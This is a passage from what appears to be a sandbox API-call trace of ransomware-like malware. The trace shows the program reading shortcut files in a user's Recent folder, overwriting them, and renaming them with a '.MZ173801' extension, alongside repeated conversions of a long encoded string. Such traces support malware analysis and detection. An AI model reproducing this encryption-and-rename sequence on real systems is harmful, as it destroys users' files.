TlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\geEDaQ9y6x6tyBlo.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\geedaq9y6x6tyblo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.245] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.245] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.245] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1473 [0121.245] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.245] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1473, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1473, lpOverlapped=0x0) returned 1 [0121.246] CloseHandle (hObject=0x288) returned 1 [0121.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\geEDaQ9y6x6tyBlo.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\geedaq9y6x6tyblo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.247] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1473, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1473, lpOverlapped=0x0) returned 1 [0121.248] CloseHandle (hObject=0x288) returned 1 [0121.264] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\geEDaQ9y6x6tyBlo.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\geedaq9y6x6tyblo.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\geEDaQ9y6x6tyBlo.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\geedaq9y6x6tyblo.lnk.mz173801")) returned 1 [0121.265] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa21ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="GoJjuImO-mij2jXwB3iX.lnk", cAlternateFileName="GOJJUI~1.LNK")) returned 1 [0121.265] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.265] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GoJjuImO-mij2jXwB3iX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gojjuimo-mij2jxwb3ix.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa21ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa89)) returned 1 [0121.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GoJjuImO-mij2jXwB3iX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gojjuimo-mij2jxwb3ix.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.268] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.268] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.268] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa89 [0121.268] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.268] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa89, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa89, lpOverlapped=0x0) returned 1 [0121.269] CloseHandle (hObject=0x288) returned 1 [0121.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GoJjuImO-mij2jXwB3iX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gojjuimo-mij2jxwb3ix.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.270] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa89, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa89, lpOverlapped=0x0) returned 1 [0121.271] CloseHandle (hObject=0x288) returned 1 [0121.272] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GoJjuImO-mij2jXwB3iX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gojjuimo-mij2jxwb3ix.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GoJjuImO-mij2jXwB3iX.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gojjuimo-mij2jxwb3ix.lnk.mz173801")) returned 1 [0121.273] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbc4de0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfbc4de0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Gpfsvhxc7oI9Y_EIQz.mkv.lnk", cAlternateFileName="GPFSVH~1.LNK")) returned 1 [0121.273] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.273] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.273] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gpfsvhxc7oI9Y_EIQz.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gpfsvhxc7oi9y_eiqz.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbc4de0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfbc4de0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a)) returned 1 [0121.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERD